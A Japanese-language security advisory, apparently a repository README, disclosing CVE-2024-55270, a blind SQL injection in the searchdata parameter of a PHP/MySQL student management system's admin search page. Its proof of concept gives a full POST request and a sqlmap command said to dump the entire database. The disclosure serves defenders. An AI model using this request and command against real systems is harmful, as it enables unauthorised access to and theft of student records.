学生管理システム 1.0 (CVE-2024-55270)

概要

学生管理システム (SMS) は、学生情報を管理するためにPHPとMySQLを使用して開発されたWebアプリケーションです。このリポジトリには、システムのソースコードと詳細、およびセキュリティ脆弱性レポートが含まれています。

監査者:
Shoaib Alam - LinkedIn プロフィール

セキュリティ脆弱性レポート

説明

学生管理システムにブラインドSQLインジェクションの脆弱性が検出されました。この問題は、アプリケーションの検索機能における searchdata パラメータに影響します。

• 脆弱性のあるエンドポイント: /studentms/admin/search.php
• 脆弱性のあるパラメータ: searchdata

searchdata パラメータは、不十分な入力サニタイズによりブラインドSQLインジェクションに対して脆弱です。攻撃者は、searchdata 入力に悪意のあるSQLクエリを注入することでこの脆弱性を悪用し、データベースやその他の機密情報への不正アクセスを得る可能性があります。

概念実証 (PoC)

脆弱性のあるURL

/studentms/admin/search.php

POSTリクエストの例

POST /studentms/admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://localhost
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://localhost/studentms/admin/search.php
Cookie: PHPSESSID=kq90r1jv25kn4flrqd74v1miqd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

searchdata=*&search=

1. 上記のPOSTリクエストをメモ帳または任意のテキストエディタを使用して req.txt に保存します。

2. SQLMAPなどのツールを使用して、以下のコマンドを適用することで上記を悪用します（必要に応じてカスタマイズできます）: sqlmap -r req.txt --dbs --random-agent --level 3 --risk 3

上記のコマンドは、Webアプリケーションのデータベース全体をダンプします。